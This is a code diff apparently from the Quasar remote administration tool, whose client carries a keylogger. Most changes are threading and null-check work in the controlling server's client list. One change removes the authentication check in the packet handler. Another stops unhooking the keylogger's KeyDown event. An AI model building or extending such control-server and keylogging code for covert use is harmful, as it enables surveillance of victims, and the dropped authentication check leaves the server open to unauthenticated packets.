diff --git a/Client/Core/Utilities/Keylogger.cs b/Client/Core/Utilities/Keylogger.cs index 6b6d852c..c27a5365 100644 --- a/Client/Core/Utilities/Keylogger.cs +++ b/Client/Core/Utilities/Keylogger.cs @@ -99,7 +99,6 @@ namespace xClient.Core.Utilities private void Unsubscribe() { if (_mEvents == null) return; - _mEvents.KeyDown -= OnKeyDown; _mEvents.KeyUp -= OnKeyUp; _mEvents.KeyPress -= OnKeyPress; diff --git a/Client/Program.cs b/Client/Program.cs index 8a83b1b7..8cd94a92 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -74,6 +74,7 @@ namespace xClient if (_msgLoop != null) { _msgLoop.ExitThread(); + _msgLoop.Dispose(); _msgLoop = null; } MutexHelper.CloseMutex(); diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index 45e1bc6a..5568599a 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -33,6 +33,7 @@ namespace xServer.Core.Networking /// The connected client. private void OnClientConnected(Client client) { + if (ProcessingDisconnect || !Listening) return; var handler = ClientConnected; if (handler != null) { @@ -57,6 +58,7 @@ namespace xServer.Core.Networking /// The disconnected client. private void OnClientDisconnected(Client client) { + if (ProcessingDisconnect || !Listening) return; var handler = ClientDisconnected; if (handler != null) { diff --git a/Server/Core/Networking/Server.cs b/Server/Core/Networking/Server.cs index 43fa524c..1b771e9f 100644 --- a/Server/Core/Networking/Server.cs +++ b/Server/Core/Networking/Server.cs @@ -224,7 +224,7 @@ namespace xServer.Core.Networking /// /// Determines if the server is currently processing Disconnect method. /// - private bool _processing; + protected bool ProcessingDisconnect { get; set; } /// /// Constructor of the server, initializes variables. @@ -256,7 +256,7 @@ namespace xServer.Core.Networking _handle.Bind(new IPEndPoint(IPAddress.Any, port)); _handle.Listen(1000); - _processing = false; + ProcessingDisconnect = false; OnServerState(true); @@ -356,7 +356,7 @@ namespace xServer.Core.Networking /// The client to remove. private void RemoveClient(Client client) { - if (_processing) return; + if (ProcessingDisconnect) return; lock (_clientsLock) { @@ -373,8 +373,8 @@ namespace xServer.Core.Networking /// public void Disconnect() { - if (_processing) return; - _processing = true; + if (ProcessingDisconnect) return; + ProcessingDisconnect = true; if (_handle != null) { @@ -406,7 +406,7 @@ namespace xServer.Core.Networking } } - _processing = false; + ProcessingDisconnect = false; OnServerState(false); } } diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index bc2a9595..b8713e3e 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -8,7 +8,7 @@ namespace xServer.Core.Packets { public static void HandlePacket(Client client, IPacket packet) { - if (client == null || !client.Authenticated || client.Value == null) + if (client == null || client.Value == null) return; var type = packet.GetType(); diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index e10d60c3..7af4db71 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -24,8 +24,11 @@ namespace xServer.Forms private const int STATUS_ID = 4; private const int USERSTATUS_ID = 5; - private readonly object _lockClients = new object(); private bool _titleUpdateRunning; + private bool _processingClientConnections; + private readonly Queue> _clientConnections = new Queue>(); + private readonly object _processingClientConnectionsLock = new object(); + private readonly object _lockClients = new object(); // lock for clients-listview private void ShowTermsOfService() { @@ -129,6 +132,8 @@ namespace xServer.Forms { this.Invoke((MethodInvoker) delegate { + if (!listening) + lstClients.Items.Clear(); listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening."; }); UpdateWindowTitle(); @@ -140,28 +145,95 @@ namespace xServer.Forms private void ClientConnected(Client client) { - AddClientToListview(client); - if (Settings.ShowPopup) - ShowPopup(client); + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, true)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } } private void ClientDisconnected(Client client) { - RemoveClientFromListview(client); + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, false)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } + } + + private void ProcessClientConnections(object state) + { + while (true) + { + KeyValuePair client; + lock (_clientConnections) + { + if (!ListenServer.Listening) + { + _clientConnections.Clear(); + } + + if (_clientConnections.Count == 0) + { + lock (_processingClientConnectionsLock) + { + _processingClientConnections = false; + } + return; + } + + client = _clientConnections.Dequeue(); + } + + if (client.Key != null) + { + switch (client.Value) + { + case true: + AddClientToListview(client.Key); + if (Settings.ShowPopup) + ShowPopup(client.Key); + break; + case false: + RemoveClientFromListview(client.Key); + break; + } + } + } } /// /// Sets the tooltip text of the listview item of a client. /// - /// The client on which the change is performed. + /// The client on which the change is performed. /// The new tooltip text. - public void SetToolTipText(Client c, string text) + public void SetToolTipText(Client client, string text) { + if (client == null) return; + try { lstClients.Invoke((MethodInvoker) delegate { - var item = GetListViewItemByClient(c); + var item = GetListViewItemByClient(client); if (item != null) item.ToolTipText = text; }); @@ -177,7 +249,7 @@ namespace xServer.Forms /// The client to add. private void AddClientToListview(Client client) { - if (client == null || !client.Authenticated) return; + if (client == null) return; try { @@ -207,9 +279,11 @@ namespace xServer.Forms /// /// Removes a connected client from the Listview. /// - /// The client to remove. - private void RemoveClientFromListview(Client c) + /// The client to remove. + private void RemoveClientFromListview(Client client) { + if (client == null) return; + try { lstClients.Invoke((MethodInvoker) delegate @@ -217,7 +291,7 @@ namespace xServer.Forms lock (_lockClients) { foreach (ListViewItem lvi in lstClients.Items.Cast() - .Where(lvi => lvi != null && c.Equals(lvi.Tag))) + .Where(lvi => lvi != null && client.Equals(lvi.Tag))) { lvi.Remove(); break; @@ -234,15 +308,17 @@ namespace xServer.Forms /// /// Sets the status of a client. /// - /// The client to update the status of. + /// The client to update the status of. /// The new status. - public void SetStatusByClient(Client c, string text) + public void SetStatusByClient(Client client, string text) { + if (client == null) return; + try { lstClients.Invoke((MethodInvoker) delegate { - var item = GetListViewItemByClient(c); + var item = GetListViewItemByClient(client); if (item != null) item.SubItems[STATUS_ID].Text = text; }); @@ -255,18 +331,17 @@ namespace xServer.Forms /// /// Sets the user status of a client. /// - /// - /// Can be "Active" or "Idle". - /// - /// The client to update the user status of. + /// The client to update the user status of. /// The new user status. - public void SetUserStatusByClient(Client c, UserStatus userStatus) + public void SetUserStatusByClient(Client client, UserStatus userStatus) { + if (client == null) return; + try { lstClients.Invoke((MethodInvoker) delegate { - var item = GetListViewItemByClient(c); + var item = GetListViewItemByClient(client); if (item != null) item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); }); @@ -279,16 +354,18 @@ namespace xServer.Forms /// /// Gets the Listview item which belongs to the client. /// - /// The client to get the Listview item of. + /// The client to get the Listview item of. /// Listview item of the client. - private ListViewItem GetListViewItemByClient(Client c) + private ListViewItem GetListViewItemByClient(Client client) { + if (client == null) return null; + ListViewItem itemClient = null; lstClients.Invoke((MethodInvoker) delegate { itemClient = lstClients.Items.Cast() - .FirstOrDefault(lvi => lvi != null && c.Equals(lvi.Tag)); + .FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag)); }); return itemClient; @@ -309,8 +386,8 @@ namespace xServer.Forms if (lstClients.SelectedItems.Count == 0) return; clients.AddRange( lstClients.SelectedItems.Cast() - .Where(lvi => lvi != null && lvi.Tag is Client) - .Select(lvi => (Client)lvi.Tag)); + .Where(lvi => lvi != null) + .Select(lvi => lvi.Tag as Client)); } });